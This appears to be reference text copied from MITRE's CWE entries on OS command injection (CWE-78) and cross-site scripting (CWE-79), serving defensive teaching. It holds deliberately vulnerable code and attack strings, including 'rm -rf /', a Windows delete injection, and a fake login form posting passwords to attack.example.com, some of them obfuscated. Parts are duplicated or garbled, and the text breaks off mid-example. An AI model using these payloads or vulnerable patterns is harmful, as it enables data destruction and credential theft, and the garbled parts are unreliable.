Example 2:

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the `rman` utility and then run a `cleanup.bat` script to delete some temporary files. The script `rmanDB.bat` accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Java Example:

Bad Code

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K "
    c:\\util\\rmanDB.bat "
    +btype+
    "&&c:\\utl\\cleanup.bat")
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the `backuptype` parameter read from the user. Typically the `Runtime.exec()` function will not execute multiple commands, but in this case the program first runs the `cmd.exe` shell in order to run multiple commands with a single call to `Runtime.exec()`. Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form `"& del c:\\dbms*.*)"`, then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Example 3:

The following code from a system utility uses the system property `APPHOME` to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

Java Example:

Bad Code

```
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...
```

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property `APPHOME` to point to a different path containing a malicious version of `INITCMD`. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property `APPHOME`, then they can fool the application into running malicious code and take control of the system.

Example 4:

The following code is a wrapper around the UNIX command `cat` which prints the contents of a file to standard out. It is also injectable:

C Example:

Bad Code

```
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
```

```

char cat[] = "cat ";
char *command;
size_t commandLength;
commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat) ));
system(command);
return (0);
}

```

Used normally, the output is simply the contents of the file requested:

```

$ ./catWrapper Story.txt
When last we left our heroes...

```

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

```

$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
a.out*

```

Attack

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

Potential Mitigations

Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Implementation

If possible, ensure that all external commands called from the program are statically created.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Operation

Run time: Run time policy enforcement may be used in a whitelist fashion to prevent use of any non-sanctioned commands.

System Configuration

Assign permissions to the software system that prevents the user from accessing/opening privileged files.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78 (Weakness Base)

Status: Draft

Description

Summary

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use `system("nslookup [HOSTNAME]")` to run `nslookup` and allow the user to supply a `HOSTNAME`, which is used as an argument. Attackers cannot prevent `nslookup` from executing. However, if the program does not remove command separators from the `HOSTNAME` argument, attackers could place the separators into the arguments, which allows them to execute their own program after `nslookup` has finished executing.

The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use `exec([COMMAND])` to execute the `[COMMAND]` that was supplied by the user. If the `COMMAND` is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like `exec()` and `CreateProcess()`, the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

Alternate Terms

Shell injection

Shell metacharacters

Terminology Notes

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an `-exec` switch whose purpose may be to execute the subsequent argument as a command (this `-exec` switch exists in the UNIX `find` command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Integrity

Availability

Non-Repudiation

Execute unauthorized code or commands

DoS: crash / exit / restart

Read files or directories

Modify files or directories

Read application data

Modify application data

Hide activities

Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.

Likelihood of Exploit

High

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Static Analysis

High

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Automated Static Analysis - Binary / Bytecode

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with automated results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Fuzz Tester
- Framework-based Fuzzer

Manual Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Manual Source Code Review (not inspections)

Cost effective for partial coverage:

- Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

PHP Example:*Bad Code*

```
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
```

The \$userName variable is not checked for malicious input. An attacker could set the \$userName variable to an arbitrary OS command such as:

Attack

```
;  
;rm -rf /
```

Which would result in \$command being:

Result

```
ls -l /home/;  
;rm -rf /
```

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2:

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

Perl Example:

Bad Code

```
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name")) {
    while (<$fh>) {
        print escapeHTML($_);
        print "<br>\n";
    }
    close($fh);
}
```

Suppose an attacker provides a domain name like this:

Attack

```
cwe.mitre.org%20%3B%20/bin/ls%20-l
```

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

Result

```
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
```

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

Example 3:

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

Java Example:

Bad Code

```
String script = System.getProperty("SCRIPTNAME");
if (script != null)
    System.exec(script);
```

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

Example 4:

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

Java Example:

Bad Code

```
public String coordinateTransformLatLonToUTM(String coordinates)
{
    String utmCoords = null;
    try {
        String latlonCoords = coordinates;
        Runtime rt = Runtime.getRuntime();
        Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
        // process results of coordinate transform
        // ...
    }
    catch (Exception e) {...}
```

```
return utmCoords;
}
```

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

Example 5:

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Java Example:

Bad Code

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
    c:\\util\\rmanDB.bat \"
    +btype+
    "&&c:\\util\\cleanup.bat\"");
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms*.\"", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Observed Examples

Reference	Description
CVE-1999-0067	Canonical example. CGI program does not neutralize " " metacharacter when invoking a phonebook program.
CVE-2001-1246	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
CVE-2002-0061	Web server allows command execution using " " (pipe) character.
CVE-2002-1898	Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.
CVE-2003-0041	FTP client does not filter " " from filenames returned by the server, allowing for OS command injection.
CVE-2007-3572	Chain: incomplete blacklist for OS command injection
CVE-2008-2575	Shell metacharacters in a filename in a ZIP archive
CVE-2008-4304	OS command injection through environment variable.
CVE-2008-4796	OS command injection through https:// URLs
CVE-2012-1988	Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.

Potential Mitigations

Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Architecture and Design**Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Architecture and Design**Identify and Reduce Attack Surface**

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.78.8] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Implementation**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Architecture and Design

Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the `system()` function accepts a string that contains the entire command to be executed, whereas `execl()`, `execve()`, and others require an array of strings, one for each argument. In Windows, `CreateProcess()` only accepts one command at a time. In Perl, if `system()` is provided with an array of arguments, then it will quote each of the arguments.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing OS command strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Architecture and Design

Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Operation**Compilation or Build Hardening****Environment Hardening**

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Operation**Sandbox or Jail**

Use runtime policy enforcement to create a whitelist of allowable commands, then prevent use of any command that does not appear in the whitelist. Technologies such as AppArmor are available to do this.

Operation**Firewall****Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Architecture and Design**Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.78.9]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Operation**Implementation****Environment Hardening**

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Research Gaps

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID: 79 (Weakness Base)

Status: Usable

Description

Summary

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted data.
3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a

victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.

The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

Alternate Terms

XSS

CSS

"CSS" was once used as the acronym for this problem, but this could cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

Platform Notes

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control**Confidentiality****Bypass protection mechanism****Read application data**

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.

Integrity**Confidentiality****Availability****Execute unauthorized code or commands**

In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.

Confidentiality**Integrity****Availability****Access Control****Execute unauthorized code or commands****Bypass protection mechanism****Read application data**

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server.

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

Likelihood of Exploit

High

Detection Methods**Automated Static Analysis****Moderate**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Black Box**Moderate**

Use the XSS Cheat Sheet [R.79.6] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

Demonstrative Examples**Example 1:**

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

PHP Example:

Bad Code

```
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';
```

Because the parameter can be arbitrary, the url of the page could be modified so \$username contains scripting syntax, such as

Attack

```
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
```

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

Attack

```
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login" /></form></div>
```

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

Result

```
<div class="header"> Welcome,
<div id="stealPassword">Please Login:
<form name="input" action="http://attack.example.com/stealPassword.php" method="post">
  Username: <input type="text" name="username" />
  <br/>
  Password: <input type="password" name="password" />
  <input type="submit" value="Login" />
</form>
</div>
</div>
```

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

Attack

```
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A
```

The same attack string could also be obfuscated as:

Attack

```
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u0066\u0072\u0064

\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

```

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2:

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, `eid`, from an HTTP request and displays it to the user.

JSP Example:

Bad Code

```

<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

```

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

ASP.NET Example:

Bad Code

```

...
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
... (HTML follows) ...
<p><asp:label id="EmployeeID" runat="server" /></p>
...

```

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3:

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

JSP Example:

Bad Code

```

<%
...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
    rs.next();
    String name = rs.getString("name");
}%>
Employee Name: <%= name %>

```

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

ASP.NET Example:*Bad Code*

```
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
```

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4:

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

PHP Example:*Bad Code*

```
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),
$fullName) ;
mysql_query($query);
.../
```

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

Bad Code

```
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);
